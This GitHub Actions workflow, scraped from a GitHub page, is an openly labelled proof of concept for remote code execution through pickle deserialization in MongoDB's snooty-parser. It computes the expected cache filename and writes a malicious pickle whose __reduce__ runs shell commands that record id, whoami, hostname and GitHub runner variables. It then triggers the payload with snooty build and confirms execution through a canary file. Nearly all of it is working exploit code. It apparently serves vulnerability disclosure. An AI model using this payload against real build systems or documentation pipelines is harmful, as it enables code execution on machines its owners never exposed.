fix: generate cache on CI runner for correct filename hash #3
Workflow file for this run
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| name: "PoC: snooty-parser pickle.loads RCE (CWE-502)" | |
| on: [push, pull_request] | |
| jobs: | |
| snooty-rce-poc: | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 15 | |
| steps: | |
| - uses: actions/checkout@v4 | |
| - uses: actions/setup-python@v5 | |
| with: | |
| python-version: "3.11" | |
| - name: Install snooty-parser | |
| run: | | |
| pip install typing_extensions | |
| pip install 'git+https://github.com/mongodb/snooty-parser.git' | |
| python -c "from snooty import __version__; print(f'snooty version: {__version__}')" | |
| - name: Generate malicious cache with correct filename | |
| run: | | |
| echo "=== Generating cache payload on CI runner ===" | |
| echo "This ensures the filename hash matches what snooty expects" | |
| echo "on THIS exact environment." | |
| echo "" | |
| python3 << 'PYEOF' | |
| import gzip, os, pickle | |
| from pathlib import Path | |
| from snooty import __version__, specparser, util | |
| from snooty.types import ProjectConfig | |
| import tomli | |
| result = ProjectConfig.open(Path(".")) | |
| config = result[0] if isinstance(result, tuple) else result | |
| config_hash = util.structural_hash(config).hex() | |
| spec = specparser.Spec.get() | |
| spec_hash = util.structural_hash(spec).hex() | |
| with open("snooty.toml", "rb") as f: | |
| name = tomli.load(f).get("name", "pymongo") | |
| filename = f".snooty-{name}-{__version__}_{config_hash}_{spec_hash}.cache.gz" | |
| print(f"Project name: {name}") | |
| print(f"Snooty version: {__version__}") | |
| print(f"Config hash: {config_hash}") | |
| print(f"Spec hash: {spec_hash}") | |
| print(f"Cache filename: {filename}") | |
| rce = ( | |
| "echo '=== SNOOTY PICKLE RCE PROOF ===' > /tmp/snooty-rce-proof.txt; " | |
| "echo '=== SNOOTY PICKLE RCE ===' >&2; " | |
| "echo 'id: '$(id) >&2; " | |
| "echo 'whoami: '$(whoami) >&2; " | |
| "echo 'hostname: '$(hostname) >&2; " | |
| "echo 'uname -a: '$(uname -a) >&2; " | |
| "echo 'pwd: '$(pwd) >&2; " | |
| "echo 'GITHUB_REPOSITORY='$GITHUB_REPOSITORY >&2; " | |
| "echo 'GITHUB_RUN_ID='$GITHUB_RUN_ID >&2; " | |
| "echo 'RUNNER_NAME='$RUNNER_NAME >&2; " | |
| "id >> /tmp/snooty-rce-proof.txt; " | |
| "whoami >> /tmp/snooty-rce-proof.txt; " | |
| "hostname >> /tmp/snooty-rce-proof.txt; " | |
| "uname -a >> /tmp/snooty-rce-proof.txt; " | |
| "echo GITHUB_REPOSITORY=$GITHUB_REPOSITORY >> /tmp/snooty-rce-proof.txt; " | |
| "echo GITHUB_RUN_ID=$GITHUB_RUN_ID >> /tmp/snooty-rce-proof.txt; " | |
| "echo RUNNER_NAME=$RUNNER_NAME >> /tmp/snooty-rce-proof.txt; " | |
| "echo SNOOTY_PICKLE_RCE_CONFIRMED >> /tmp/snooty-rce-proof.txt" | |
| ) | |
| class Exploit: | |
| def __reduce__(self): | |
| return (os.system, (rce,)) | |
| payload = gzip.compress(pickle.dumps(Exploit(), protocol=5)) | |
| Path(filename).write_bytes(payload) | |
| print(f"Payload written: {filename} ({len(payload)} bytes)") | |
| print() | |
| print("NOTE: In a real attack, the attacker pre-computes this filename") | |
| print("from the public snooty.toml and snooty version. The hash is") | |
| print("deterministic. Here we compute it on the runner to ensure a match.") | |
| PYEOF | |
| - name: Show cache file ready for snooty | |
| run: | | |
| echo "Cache files in working directory:" | |
| ls -la .snooty-*.cache.gz | |
| - name: Run snooty build (triggers pickle.loads → RCE) | |
| run: | | |
| echo "=== Running snooty build ===" | |
| echo "This is the same command MongoDB's autobuilder runs on every PR." | |
| echo "snooty will find the cache file and call pickle.loads() on it." | |
| echo "" | |
| python -m snooty build . 2>&1 || true | |
| echo "" | |
| echo "=== Build complete ===" | |
| - name: Verify RCE | |
| run: | | |
| echo "" | |
| if [ -f /tmp/snooty-rce-proof.txt ]; then | |
| echo "=====================================" | |
| echo " ✅ RCE CONFIRMED on Actions Runner" | |
| echo "=====================================" | |
| echo "" | |
| echo "Contents of /tmp/snooty-rce-proof.txt:" | |
| cat /tmp/snooty-rce-proof.txt | |
| echo "" | |
| echo "pickle.loads() at parse_cache.py executed the __reduce__" | |
| echo "gadget during cache deserialization. The build completed" | |
| echo "normally — the exploit is invisible in build output." | |
| else | |
| echo "❌ Canary not found at /tmp/snooty-rce-proof.txt" | |
| echo "The cache may not have been loaded." | |
| fi | |
| - name: Negative test (remove cache → no RCE) | |
| run: | | |
| rm -f .snooty-*.cache.gz /tmp/snooty-rce-proof.txt | |
| python -m snooty build . 2>&1 || true | |
| if [ ! -f /tmp/snooty-rce-proof.txt ]; then | |
| echo "✅ Negative test PASSED: no RCE without malicious cache file" | |
| else | |
| echo "❌ Unexpected: RCE occurred without cache" | |
| fi | |
| - name: Upload proof artifact | |
| if: always() | |
| uses: actions/upload-artifact@v4 | |
| with: | |
| name: snooty-rce-proof | |
| path: /tmp/snooty-rce-proof.txt | |
| if-no-files-found: warn |